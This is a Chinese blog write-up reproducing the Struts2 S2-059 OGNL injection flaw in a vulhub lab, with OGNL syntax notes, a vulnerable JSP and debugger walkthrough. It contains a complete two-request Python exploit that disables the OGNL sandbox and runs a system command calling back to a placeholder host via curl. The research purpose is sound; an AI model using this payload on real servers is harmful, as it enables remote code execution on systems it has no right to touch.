s2059复现

s2-059的漏洞复现

前言

s2-059的漏洞复现

背景介绍

  • 这篇文章归纳了s2 ongl漏洞的历史绕过方式 浅析OGNL的攻防史,s2059的沙盒绕过方式实际上是通过第一个请求重置OgnlUtil对象的excludedPackageNamePatterns,excludedClasses等属性来回到Struts 2.3.29前的情况,之后通过允许静态方法访问,来执行java.lang.Runtime.getRuntime().exec方法。
  • s2059是源于对s标签中id属性的解析。

Ognl语言介绍

  1. 使用#来访问对象,不使用#会直接访问基本类型变量。#name ,取值为name对象。
  2. @来访问静态方法。@java.lang.math@max(10,2) 结果10
  3. new int[]{1,2,3}直接创建数组,或者{1,2,3}直接创建数组。new int[]{1,2,3}[0] 结果: 1
  4. xxx,xxx,,分割不同的表达式xxx。new int[]{1},1 结果:1
  5. #{‘user’:’1’,’user1’:2}来创建新的对象。
  6. = 可以直接赋值。#s1=1
  7. 调用方法的方式和正常情况下一样,使用.即可。
  8. 使用.{xxx}来选择元素
    • #s1={‘12’,’23’,1},#s1.{#this},选择全部元素。
    • #s1={‘12’,’23’,1},#s1.{^#this.length()==2},选择第一个元素’12’。
    • #s1={‘12’,’23’,1},#s1.{?#this instanceof String} 选择全部满足条件的元素,’12’,’23’。
  9. 如果对象存在get或者set方法 ongl允许通过xxx.attr来访问或者xxx[‘attr’]=xx来设置元素的值。
  10. 1 in {1,2} 和python的用法一样。

复现环境

  • 使用vulhub的s2-059环境,直接使用mvn自带的jerry启动调试模式,jdk8

调试过程

  • index.jsp,直接使用vulhub的poc打

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <%@ page
    language="java"
    contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8" %>
    <%@ taglib prefix="s" uri="/struts-tags" %>

    <html>
    <head>
    <title>S2-059 demo</title>

    </head>
    <body>
    <s:a id="%{id}">your input id: ${id}
    <br>has ben evaluated again in id attribute
    </s:a>
    </body>
    </html>
1
2
3
4
5
6
7
8
9
import requests
from urllib.parse import quote
url = "http://yourip:port/"
data1 =b"%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
data2 =b"%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl http://yourip:port/dasd'))}"
res1 = requests.get(url+'?id='+quote(data1))
print(res1.text)
res2 = requests.get(url+'?id='+quote(data2))
print(res2.text)
  • 启动过程中在setExcludedClasses方法下断点

    image-20201212230203013

  • 在setExcludedPackageNames方法下断点

    image-20201212230356120

  • 打过poc后在ognl.ASTChain的86行,一直f9直到返回的result到20几个的时候,这边的poc主要是获取attr对象中的struts.valueStack中的context,按照poc依次存储context,通过context获取com.opensymphony.xwork2.ActionContext.container,也就是当前上下文中container,最后通过getInstance方法获取ognlUtil对象。最终目的是重置ognlUtil对象中的ExcludedPackageNames和ExcludedClasses。

    image-20201212233448628

  • 接着第二次请求,需要注意的是,整个流程没法依次完成,如果第一次就直接执行接下来的语句就会报stackoverflow的异常。

    image-20201212235419561

  • 最终能够调用静态方法,直接java.lang.Runtime.getRuntime().exec()

    image-20201212235839008

  • 现在回过头来看下为啥只有id被解析了。

    最后一个断点下载Component类的150行的方法上,看下调用堆栈。

    image-20201213000517083

  • 很明确解析表达式的条件是开启altSyntax,当前版本这个默认是关闭的,而且按照这里的containsExpression,表达式必须是%{xxx}才行。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    protected Object findValue(String expr, Class toType) {
    if (this.altSyntax() && toType == String.class) {
    return ComponentUtils.containsExpression(expr) ? TextParseUtil.translateVariables('%', expr, this.stack) : expr;
    } else {
    expr = this.stripExpressionIfAltSyntax(expr);
    return this.getStack().findValue(expr, toType, this.throwExceptionOnELFailure);
    }
    }

    public static boolean containsExpression(String expr) {
    return expr != null && expr.contains("%{") && expr.contains("}");
    }

    影响范围包括UIBean所有使用setId的tag,需要注意的是这边有递归解析限制。

总结

感觉这个洞需要结合白盒分析利用,看上去不是特别厉害。不过绕Ognl的思路真的很值得细细研究。

参考

  1. s2-059 smile分析
  2. Ognl绕过历史介绍
  3. 参考了回显poc,但复现失败